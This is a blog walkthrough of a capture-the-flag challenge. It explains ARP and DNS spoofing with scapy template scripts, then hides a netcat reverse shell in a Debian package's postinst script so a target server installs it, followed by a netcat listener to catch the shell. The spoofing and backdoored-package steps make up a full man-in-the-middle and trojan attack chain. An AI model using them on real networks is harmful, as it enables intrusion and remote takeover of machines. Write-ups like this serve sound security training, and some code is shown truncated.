• Tue. Mar 2nd, 2021

Objective 9 – ARP Shenanigans


Jan 18, 2021 ,

The ARP shenanigans objective contains several moving parts that need to be completed in order to gain shell access to the hijacked server I would say the best starting point for this would be to first look at the “scapy prep” as this will give some base level knowledge of how to use the packet manipulation tool.

Part 1 what the hell is going on

First thing when we land in the server for the challenge is we are given a console using TMUX for multiple windows and a banner pointing us to a help file. On opening “HELP.md” we see a number of useful tips including sample ARP, DNS pcap how to run tshark / tcpdunp and how to spin up a web server using python which tells me these things may be of use In completing the challenge. In addition doing a quick “ls” command will show a number of folders on the server containing sample scripts , a bunch of Debian files and some pcaps. After examining what files are on the server we need to look at the network traffic to see if anything interesting is happening using “tcpdump -i eth0

From the output we can see that a broadcast ARP request is been made on the network. For more information we can use “tcpdump -ennqti eth0”

Part 2 Spoof the ARP response

To spoof the ARP response we can either do this directly in scapy (manual) or we can make use of python scripting. As there is already the template for an ARP response python script on the server I made use of the script adding the missing values which are:

  • Our Hosts MAC address
  • The MAC address of the requesting machine
  • The IP address of the host we are spoofing
  • The IP address of the requesting machine
  • op value set to 2 which is the value for response
  • plen value of 4
  • hwlen value of 6

arp_resp.py found in /scripts

from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="SOMEMACHERE", type=0x806, src="SOMEMACHERE")
        arp_response = ARP(pdst="SOMEMACHERE")
        arp_response.op = 99999

        arp_response.plen = 99999

        arp_response.hwlen = 99999
        arp_response.ptype = 99999

        arp_response.hwtype = 99999

        arp_response.hwsrc = "SOMEVALUEHERE"
        arp_response.psrc = "SOMEVALUEHERE"
        arp_response.hwdst = "SOMEVALUEHERE"
        arp_response.pdst = "SOMEVALUEHERE"
        response = ether_resp/arp_response
        sendp(response, iface="eth0")
def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":

Once you have edited and saved the script run tcp dump in one window using the commands covered in part 1 and then run the completed python script “python3 arp_resp.py” and you will then see the following:

From the response the target server is then seen sending a DNS A record request for “ftp.osuosl.org” which means we will now need to spoof the DNS reply.

Part 3 Spoof the DNS response

For this part we need to spoof the DNS response and run a web server to see what is been requested from the ftp site. As with the previous part a python script template for DNS spoofing exists in the scripts directory however for this I used a different script for this section however using the template provided all you need to do is have the required information added using the Berkeley filter listening for the request to the IP we are spoofing

For the response we will then need to specify the following parts for the return traffic in the python script

Source MAC= initial requests destination MAC (can be pulled from sniffed traffic)
Destination MAC = initial requests source MAC (can be pulled from sniffed traffic)

IP Layer
Source IP = initial requests destination IP (can be pulled from sniffed traffic)
Destination IP = initial requests Source IP (can be pulled from sniffed traffic)

Transport Layer (UDP)
Source port = initial requests destination port (can be pulled from sniffed traffic)
Destination port = initial requests source port (can be pulled from sniffed traffic)

Application Layer (DNS info)

ID = initial requests DNS id (can be pulled from sniffed traffic)
QD = initial requests DNS QD (can be pulled from sniffed traffic)
aa = 1
rd = 0
qr = 1
qdcount = 1
ancount = 1
nscount = 0
arcount = 0
            rdata=our hosts IP)

dns_resp.py found in /scripts

from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = ""
def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src="00:00:00:00:00:00", dst="00:00:00:00:00:00")   # need to replace mac addresses
    ip  = IP(dst="", src="")                          # need to replace IP addresses
    udp = UDP(dport=99999, sport=99999)                             # need to replace ports
    dns = DNS(

    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":

Once the script has been completed we can start an active web listener using python in one window using :

Switching windows then setup the dns_resp.py script running using “python3 dns_resp.py” and in a final window run the arp_rep.py script at which point if everything is successful you will see a http request hit your listening web server and return a 404 due to content not been found.

If we repeat all the steps up above we will end up getting the same GET request so we now know that we are looking at providing a .deb package as the response to the request hmm maybe this is our delivery method 🙂

Part 4 exploiting a DEB package to provide a reverse shell

So first thing we need to do is pick a Debian package to use. In the debs folder on the console there is a number of these to use in this case we will be using the netcat classic deb package as netcat is a perfect candidate to spawn a reverse shell and by picking this package we are guaranteeing that it will be installed on the target machine. So how do we get a Debian package to give us a shell well this lovely article from offensive security has the answer. https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/ as part of a Debian package install a post install script can be run which is located in the “postinst” file. To create this and add this to the .deb package we first need to unpack the netcat .deb which can be done with the steps in the guide above once unpacked we create a /DEBIAN folder inside the package folder once complete we will create two files the first “control” just lists the package details and the second “postinst” will contain our script.

For the script I used a bog standard netcat reverse shell as shown below:

once we have added the postinst script we will use chmod to make it executable and once complete we will go back to the debs folder. Once here we will create the “/pub/jfrost/backdoor/”folders using the mkdir command. Once complete we will build the package using “dpkg-deb –build”

Once built we will move the .deb file to the “/pub/jfrost/backdoor/” named as “suriv_amd64.deb” once this is complete we will create another window so that we have four windows active in TMUX now on our local machine we will run a netcat listener “nc -lvp 4444” and now we will repeat the previous steps which should result in us getting a shell.

Awesome we are in now all we need to do is find the meeting minutes a quick “ls” shows these are on the current directory now read the txt file and you will find your answer for this challenge.



Scroll Up